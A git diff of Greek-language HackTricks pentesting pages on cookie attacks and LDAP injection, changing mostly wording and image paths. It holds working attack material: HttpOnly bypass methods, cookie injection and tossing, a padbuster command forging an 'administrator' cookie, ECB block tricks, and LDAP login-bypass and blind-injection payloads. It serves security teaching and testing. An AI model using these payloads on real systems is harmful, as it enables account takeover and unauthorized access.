Εάν σας ενδιαφέρει μια **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική γνώση πολωνικών_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cookies Hacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
Τα cookies έρχονται με αρκετά χαρακτηριστικά που ελέγχουν τη συμπεριφορά τους στον περιηγητή του χρήστη. Ακολουθεί μια ανασκόπηση αυτών των χαρακτηριστικών σε πιο παθητική φωνή:
|
||||
|
@ -26,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### Domain
|
||||
|
||||
Οι υπολογιστές που θα λάβουν ένα cookie καθορίζονται από το χαρακτηριστικό `Domain`. Από προεπιλογή, αυτό ορίζεται στον υπολογιστή που εξέδωσε το cookie, χωρίς να περιλαμβάνει τους υποτομείς του. Ωστόσο, όταν το χαρακτηριστικό `Domain` ορίζεται ρητά, περιλαμβάνει και τους υποτομείς. Αυτό καθιστά την καθοριστική επιλογή του χαρακτηριστικού `Domain` λιγότερο περιοριστική, χρήσιμη για σενάρια όπου η κοινή χρήση cookies μεταξύ υποτομέων είναι απαραίτητη. Για παράδειγμα, η ρύθμιση `Domain=mozilla.org` καθιστά τα cookies προσβάσιμα στους υποτομείς του, όπως το `developer.mozilla.org`.
|
||||
Οι υπολογιστές που θα λάβουν ένα cookie καθορίζονται από το χαρακτηριστικό `Domain`. Από προεπιλογή, αυτό ορίζεται στον υπολογιστή που εξέδωσε το cookie, χωρίς να περιλαμβάνει τους υποτομείς του. Ωστόσο, όταν το χαρακτηριστικό `Domain` ορίζεται ρητά, περιλαμβάνει και τους υποτομείς. Αυτό καθιστά την καθοριστική επιλογή του χαρακτηριστικού `Domain` μια λιγότερο περιοριστική επιλογή, χρήσιμη για σενάρια όπου η κοινή χρήση cookies μεταξύ υποτομέων είναι απαραίτητη. Για παράδειγμα, η ρύθμιση `Domain=mozilla.org` καθιστά τα cookies προσβάσιμα στους υποτομείς του όπως `developer.mozilla.org`.
|
||||
|
||||
### Path
|
||||
|
||||
|
@ -43,10 +42,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Το χαρακτηριστικό `SameSite` καθορίζει αν τα cookies αποστέλλονται σε αιτήματα που προέρχονται από τρίτους τομείς. Προσφέρει τρεις ρυθμίσεις:
|
||||
* **Strict**: Περιορίζει το cookie από το να αποστέλλεται σε αιτήματα τρίτων.
|
||||
* **Lax**: Επιτρέπει στο cookie να αποστέλλεται με GET αιτήματα που ξεκινούν από τρίτους ιστότοπους.
|
||||
* **Lax**: Επιτρέπει στο cookie να αποστέλλεται με αιτήματα GET που ξεκινούν από τρίτους ιστότοπους.
|
||||
* **None**: Επιτρέπει στο cookie να αποστέλλεται από οποιονδήποτε τρίτο τομέα.
|
||||
|
||||
Θυμηθείτε, ενώ ρυθμίζετε cookies, η κατανόηση αυτών των χαρακτηριστικών μπορεί να βοηθήσει να διασφαλιστεί ότι συμπεριφέρονται όπως αναμένεται σε διάφορα σενάρια.
|
||||
Θυμηθείτε, ενώ ρυθμίζετε τα cookies, η κατανόηση αυτών των χαρακτηριστικών μπορεί να βοηθήσει να διασφαλιστεί ότι συμπεριφέρονται όπως αναμένεται σε διάφορα σενάρια.
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
|
@ -62,21 +61,21 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
Ένα cookie με το χαρακτηριστικό _**SameSite**_ θα **μειώσει τις επιθέσεις CSRF** όπου απαιτείται μια συνδεδεμένη συνεδρία.
|
||||
|
||||
**\*Σημειώστε ότι από το Chrome80 (φλεβάρης/2019) η προεπιλεγμένη συμπεριφορά ενός cookie χωρίς χαρακτηριστικό cookie samesite** **θα είναι lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Σημειώστε ότι προσωρινά, μετά την εφαρμογή αυτής της αλλαγής, τα **cookies χωρίς πολιτική SameSite** **στο Chrome θα θεωρούνται** **None** κατά τη διάρκεια των **πρώτων 2 λεπτών και στη συνέχεια ως Lax για αιτήματα POST κορυφαίου επιπέδου διασύνδεσης.**
|
||||
Σημειώστε ότι προσωρινά, μετά την εφαρμογή αυτής της αλλαγής, τα **cookies χωρίς πολιτική SameSite** **στο Chrome θα θεωρούνται** **None** κατά τη διάρκεια των **πρώτων 2 λεπτών και στη συνέχεια ως Lax για αιτήματα POST διασύνδεσης κορυφαίου επιπέδου.**
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Αυτό αποτρέπει τον **πελάτη** να έχει πρόσβαση στο cookie (μέσω **Javascript** για παράδειγμα: `document.cookie`)
|
||||
Αυτό αποτρέπει τον **πελάτη** να έχει πρόσβαση στο cookie (Μέσω **Javascript** για παράδειγμα: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
|
||||
* Αν η σελίδα **στέλνει τα cookies ως απάντηση** σε αιτήματα (για παράδειγμα σε μια σελίδα **PHPinfo**), είναι δυνατόν να εκμεταλλευτείτε το XSS για να στείλετε ένα αίτημα σε αυτή τη σελίδα και να **κλέψετε τα cookies** από την απάντηση (ελέγξτε ένα παράδειγμα στο [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Αυτό μπορεί να παρακαμφθεί με **TRACE** **HTTP** αιτήματα καθώς η απάντηση από τον διακομιστή (αν αυτή η μέθοδος HTTP είναι διαθέσιμη) θα αντικατοπτρίζει τα cookies που στάλθηκαν. Αυτή η τεχνική ονομάζεται **Cross-Site Tracking**.
|
||||
* Αυτή η τεχνική αποφεύγεται από **σύγχρονους περιηγητές με το να μην επιτρέπουν την αποστολή ενός TRACE** αιτήματος από JS. Ωστόσο, έχουν βρεθεί ορισμένες παρακάμψεις σε συγκεκριμένο λογισμικό, όπως η αποστολή `\r\nTRACE` αντί για `TRACE` στο IE6.0 SP2.
|
||||
* Αυτή η τεχνική αποφεύγεται από **σύγχρονους περιηγητές με το να μην επιτρέπουν την αποστολή ενός TRACE** αιτήματος από το JS. Ωστόσο, έχουν βρεθεί ορισμένες παρακάμψεις σε συγκεκριμένο λογισμικό όπως η αποστολή `\r\nTRACE` αντί για `TRACE` στο IE6.0 SP2.
|
||||
* Ένας άλλος τρόπος είναι η εκμετάλλευση ευπαθειών μηδενικής ημέρας στους περιηγητές.
|
||||
* Είναι δυνατόν να **επικαλύψετε τα HttpOnly cookies** εκτελώντας μια επίθεση Overflow Cookie Jar:
|
||||
* Είναι δυνατόν να **επικαλύψετε τα HttpOnly cookies** εκτελώντας μια επίθεση υπερχείλισης Cookie Jar:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
|
@ -90,26 +89,26 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
|
||||
## Cookies Prefixes
|
||||
|
||||
Τα cookies που προεξάγονται με `__Secure-` απαιτείται να ρυθμιστούν παράλληλα με τη σημαία `secure` από σελίδες που είναι ασφαλισμένες με HTTPS.
|
||||
Τα cookies που έχουν πρόθεμα `__Secure-` απαιτείται να ρυθμιστούν παράλληλα με τη σημαία `secure` από σελίδες που είναι ασφαλισμένες με HTTPS.
|
||||
|
||||
Για τα cookies που προεξάγονται με `__Host-`, πρέπει να πληρούνται αρκετές προϋποθέσεις:
|
||||
Για τα cookies που έχουν πρόθεμα `__Host-`, πρέπει να πληρούνται αρκετές προϋποθέσεις:
|
||||
|
||||
* Πρέπει να ρυθμιστούν με τη σημαία `secure`.
|
||||
* Πρέπει να προέρχονται από μια σελίδα ασφαλισμένη με HTTPS.
|
||||
* Απαγορεύεται να καθορίζουν ένα domain, αποτρέποντας τη μετάδοσή τους σε υποτομείς.
|
||||
* Η διαδρομή για αυτά τα cookies πρέπει να ρυθμιστεί σε `/`.
|
||||
|
||||
Είναι σημαντικό να σημειωθεί ότι τα cookies που προεξάγονται με `__Host-` δεν επιτρέπεται να αποστέλλονται σε υπερτομείς ή υποτομείς. Αυτή η περιοριστική ρύθμιση βοηθά στην απομόνωση των cookies εφαρμογής. Έτσι, η χρήση του προθέματος `__Host-` για όλα τα cookies εφαρμογής μπορεί να θεωρηθεί καλή πρακτική για την ενίσχυση της ασφάλειας και της απομόνωσης.
|
||||
Είναι σημαντικό να σημειωθεί ότι τα cookies που έχουν πρόθεμα `__Host-` δεν επιτρέπεται να αποστέλλονται σε υπερτομείς ή υποτομείς. Αυτή η περιοριστική ρύθμιση βοηθά στην απομόνωση των cookies εφαρμογής. Έτσι, η χρήση του προθέματος `__Host-` για όλα τα cookies εφαρμογής μπορεί να θεωρηθεί καλή πρακτική για την ενίσχυση της ασφάλειας και της απομόνωσης.
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
Έτσι, μία από τις προστασίες των cookies που προεξάγονται με `__Host-` είναι να αποτρέπουν την επικάλυψή τους από υποτομείς. Αποτρέποντας για παράδειγμα [**Cookie Tossing attacks**](cookie-tossing.md). Στην ομιλία [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) παρουσιάζεται ότι ήταν δυνατόν να ρυθμιστούν cookies με πρόθεμα \_\_HOST- από υποτομέα, παραπλανώντας τον αναλυτή, για παράδειγμα, προσθέτοντας "=" στην αρχή ή στην αρχή και στο τέλος...:
|
||||
Έτσι, μία από τις προστασίες των cookies με πρόθεμα `__Host-` είναι να αποτρέπουν την επικάλυψή τους από υποτομείς. Αποτρέποντας για παράδειγμα [**Cookie Tossing attacks**](cookie-tossing.md). Στην ομιλία [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) παρουσιάζεται ότι ήταν δυνατόν να ρυθμιστούν cookies με πρόθεμα \_\_HOST- από υποτομέα, παραπλανώντας τον αναλυτή, για παράδειγμα, προσθέτοντας "=" στην αρχή ή στην αρχή και στο τέλος...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ή σε PHP ήταν δυνατόν να προστεθούν **άλλοι χαρακτήρες στην αρχή** του ονόματος του cookie που θα αντικαθίσταντο με χαρακτήρες υπογράμμισης, επιτρέποντας την επικάλυψη των `__HOST-` cookies:
|
||||
Ή σε PHP ήταν δυνατόν να προστεθούν **άλλοι χαρακτήρες στην αρχή** του ονόματος cookie που θα **αντικαθίσταντο με χαρακτήρες κάτω παύλας**, επιτρέποντας την επικάλυψη των cookies `__HOST-`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
|
@ -169,11 +168,11 @@ document.cookie = `${name}=${value}`;
|
|||
|
||||
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
Αυτό οδηγεί στο να στέλνει ο περιηγητής μια κεφαλίδα cookie που ερμηνεύεται από κάθε διακομιστή ιστού ως ένα cookie με όνομα `a` και τιμή `b`.
|
||||
Αυτό οδηγεί στο να στέλνει ο περιηγητής ένα cookie header που ερμηνεύεται από κάθε web server ως ένα cookie με όνομα `a` και τιμή `b`.
|
||||
|
||||
#### Chrome Bug: Πρόβλημα Κωδικών Υποκατάστασης Unicode
|
||||
|
||||
Στο Chrome, αν ένας κωδικός υποκατάστασης Unicode είναι μέρος ενός cookie που έχει οριστεί, το `document.cookie` γίνεται κατεστραμμένο, επιστρέφοντας μια κενή συμβολοσειρά στη συνέχεια:
|
||||
Στο Chrome, αν ένας κωδικός υποκατάστασης Unicode είναι μέρος ενός σετ cookie, το `document.cookie` γίνεται κατεστραμμένο, επιστρέφοντας μια κενή συμβολοσειρά στη συνέχεια:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
|
@ -181,19 +180,19 @@ document.cookie = "\ud800=meep";
|
|||
|
||||
#### Cookie Smuggling λόγω προβλημάτων ανάλυσης
|
||||
|
||||
(Δείτε περισσότερες λεπτομέρειες στην [πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Πολλοί web servers, συμπεριλαμβανομένων αυτών από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται λανθασμένα τις συμβολοσειρές cookie λόγω παρωχημένης υποστήριξης του RFC2965. Διαβάζουν μια διπλά εισαγωγική τιμή cookie ως μία μόνο τιμή, ακόμη και αν περιλαμβάνει ερωτηματικά, τα οποία κανονικά θα έπρεπε να διαχωρίζουν τα ζεύγη κλειδιού-τιμής:
|
||||
(Δείτε περισσότερες λεπτομέρειες στην [πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Πολλοί διακομιστές ιστού, συμπεριλαμβανομένων αυτών από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται λανθασμένα τις συμβολοσειρές cookie λόγω παρωχημένης υποστήριξης RFC2965. Διαβάζουν μια διπλά εισαγωγμένη τιμή cookie ως μία μόνο τιμή, ακόμη και αν περιλαμβάνει ερωτηματικά, τα οποία κανονικά θα έπρεπε να διαχωρίζουν τα ζεύγη κλειδιού-τιμής:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Ευπάθειες Εισαγωγής Cookie
|
||||
|
||||
(Δείτε περισσότερες λεπτομέρειες στην [πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Η λανθασμένη ανάλυση των cookies από τους διακομιστές, ιδίως τους Undertow, Zope και αυτούς που χρησιμοποιούν το `http.cookie.SimpleCookie` και `http.cookie.BaseCookie` της Python, δημιουργεί ευκαιρίες για επιθέσεις εισαγωγής cookie. Αυτοί οι διακομιστές αποτυγχάνουν να καθορίσουν σωστά την αρχή νέων cookies, επιτρέποντας στους επιτιθέμενους να παραποιήσουν cookies:
|
||||
(Δείτε περισσότερες λεπτομέρειες στην [πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Η λανθασμένη ανάλυση των cookies από τους διακομιστές, ιδίως τους Undertow, Zope και αυτούς που χρησιμοποιούν το `http.cookie.SimpleCookie` και `http.cookie.BaseCookie` της Python, δημιουργεί ευκαιρίες για επιθέσεις εισαγωγής cookies. Αυτοί οι διακομιστές αποτυγχάνουν να καθορίσουν σωστά την αρχή νέων cookies, επιτρέποντας στους επιτιθέμενους να παραποιήσουν cookies:
|
||||
|
||||
* Ο Undertow αναμένει ένα νέο cookie αμέσως μετά από μια παρατιθέμενη τιμή χωρίς ερωτηματικό.
|
||||
* Ο Zope αναζητά μια κόμμα για να αρχίσει την ανάλυση του επόμενου cookie.
|
||||
* Οι κλάσεις cookie της Python αρχίζουν την ανάλυση σε έναν χαρακτήρα κενό.
|
||||
* Οι κλάσεις cookie της Python αρχίζουν την ανάλυση σε έναν χαρακτήρα κενών.
|
||||
|
||||
Αυτή η ευπάθεια είναι ιδιαίτερα επικίνδυνη σε διαδικτυακές εφαρμογές που βασίζονται στην προστασία CSRF μέσω cookie, καθώς επιτρέπει στους επιτιθέμενους να εισάγουν παραποιημένα cookies CSRF-token, πιθανώς παρακάμπτοντας τα μέτρα ασφαλείας. Το πρόβλημα επιδεινώνεται από την επεξεργασία των διπλών ονομάτων cookie από την Python, όπου η τελευταία εμφάνιση υπερισχύει των προηγούμενων. Επίσης, εγείρει ανησυχίες για τα cookies `__Secure-` και `__Host-` σε ανασφαλείς περιβάλλοντες και θα μπορούσε να οδηγήσει σε παρακάμψεις εξουσιοδότησης όταν τα cookies μεταφέρονται σε διακομιστές backend που είναι ευάλωτοι σε παραποίηση.
|
||||
Αυτή η ευπάθεια είναι ιδιαίτερα επικίνδυνη σε διαδικτυακές εφαρμογές που βασίζονται στην προστασία CSRF μέσω cookies, καθώς επιτρέπει στους επιτιθέμενους να εισάγουν παραποιημένα cookies CSRF-token, πιθανώς παρακάμπτοντας τα μέτρα ασφαλείας. Το πρόβλημα επιδεινώνεται από την επεξεργασία των διπλών ονομάτων cookie από την Python, όπου η τελευταία εμφάνιση υπερκαλύπτει τις προηγούμενες. Επίσης, εγείρει ανησυχίες για τα cookies `__Secure-` και `__Host-` σε ανασφαλείς συνθήκες και θα μπορούσε να οδηγήσει σε παρακάμψεις εξουσιοδότησης όταν τα cookies μεταφέρονται σε διακομιστές backend που είναι ευάλωτοι σε παραποίηση.
|
||||
|
||||
### Επιπλέον Έλεγχοι Ευάλωτων Cookies
|
||||
|
||||
|
@ -205,7 +204,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
* Ελέγξτε αν το cookie έχει οποιαδήποτε πληροφορία μέσα του και προσπαθήστε να το τροποποιήσετε.
|
||||
* Προσπαθήστε να δημιουργήσετε αρκετούς λογαριασμούς με σχεδόν το ίδιο όνομα χρήστη και ελέγξτε αν μπορείτε να δείτε ομοιότητες.
|
||||
* Ελέγξτε την επιλογή "**θυμήσου με**" αν υπάρχει για να δείτε πώς λειτουργεί. Αν υπάρχει και μπορεί να είναι ευάλωτη, χρησιμοποιήστε πάντα το cookie του **θυμήσου με** χωρίς κανένα άλλο cookie.
|
||||
* Ελέγξτε αν το προηγούμενο cookie λειτουργεί ακόμη και μετά την αλλαγή του κωδικού πρόσβασης.
|
||||
* Ελέγξτε αν το προηγούμενο cookie λειτουργεί ακόμα και μετά την αλλαγή του κωδικού.
|
||||
|
||||
#### **Προχωρημένες επιθέσεις cookies**
|
||||
|
||||
|
@ -229,7 +228,7 @@ Padbuster θα κάνει αρκετές προσπάθειες και θα σα
|
|||
|
||||
Στη συνέχεια, θα αρχίσει να αποκρυπτογραφεί το cookie (μπορεί να διαρκέσει αρκετά λεπτά)
|
||||
|
||||
Αν η επίθεση έχει εκτελεστεί επιτυχώς, τότε θα μπορούσατε να προσπαθήσετε να κρυπτογραφήσετε μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλατε να **encrypt** **user=administrator**
|
||||
Αν η επίθεση έχει εκτελεστεί επιτυχώς, τότε μπορείτε να προσπαθήσετε να κρυπτογραφήσετε μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλατε να **encrypt** **user=administrator**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
|
@ -256,17 +255,16 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
|
||||
Δημιουργήστε έναν χρήστη που ονομάζεται για παράδειγμα "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" και ελέγξτε αν υπάρχει κάποιο μοτίβο στο cookie (καθώς το ECB κρυπτογραφεί με το ίδιο κλειδί κάθε μπλοκ, τα ίδια κρυπτογραφημένα bytes θα μπορούσαν να εμφανιστούν αν το όνομα χρήστη είναι κρυπτογραφημένο).
|
||||
|
||||
Θα πρέπει να υπάρχει ένα μοτίβο (με το μέγεθος ενός χρησιμοποιούμενου μπλοκ). Έτσι, γνωρίζοντας πώς είναι κρυπτογραφημένα μια σειρά από "a", μπορείτε να δημιουργήσετε ένα όνομα χρήστη: "a"\*(μέγεθος του μπλοκ)+"admin". Στη συνέχεια, θα μπορούσατε να διαγράψετε το κρυπτογραφημένο μοτίβο ενός μπλοκ από "a" από το cookie. Και θα έχετε το cookie του ονόματος χρήστη "admin".
|
||||
Θα πρέπει να υπάρχει ένα μοτίβο (με το μέγεθος ενός χρησιμοποιούμενου μπλοκ). Έτσι, γνωρίζοντας πώς είναι κρυπτογραφημένα μια σειρά από "a", μπορείτε να δημιουργήσετε ένα όνομα χρήστη: "a"\*(μέγεθος του μπλοκ)+"admin". Στη συνέχεια, θα μπορούσατε να διαγράψετε το κρυπτογραφημένο μοτίβο ενός μπλοκ "a" από το cookie. Και θα έχετε το cookie του ονόματος χρήστη "admin".
|
||||
|
||||
## Αναφορές
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -3,8 +3,8 @@
|
|||
## LDAP Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,9 +17,9 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -75,7 +75,7 @@
|
|||
|
||||
### Login Bypass
|
||||
|
||||
Το LDAP υποστηρίζει διάφορες μορφές για την αποθήκευση του κωδικού πρόσβασης: clear, md5, smd5, sh1, sha, crypt. Έτσι, μπορεί να συμβαίνει ότι ανεξάρτητα από το τι εισάγετε μέσα στον κωδικό πρόσβασης, αυτός είναι κατακερματισμένος.
|
||||
Το LDAP υποστηρίζει διάφορες μορφές για την αποθήκευση του κωδικού πρόσβασης: clear, md5, smd5, sh1, sha, crypt. Έτσι, μπορεί να συμβαίνει ότι ανεξάρτητα από το τι εισάγετε μέσα στον κωδικό πρόσβασης, αυτός είναι κωδικοποιημένος.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -138,7 +138,7 @@ password=any
|
|||
|
||||
### Blind LDAP Injection
|
||||
|
||||
Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφεται οποιαδήποτε δεδομένα και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection:
|
||||
Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφονται δεδομένα και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
|
@ -167,7 +167,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
|||
|
||||
#### **Ανακάλυψη έγκυρων πεδίων LDAP**
|
||||
|
||||
Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**τα προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
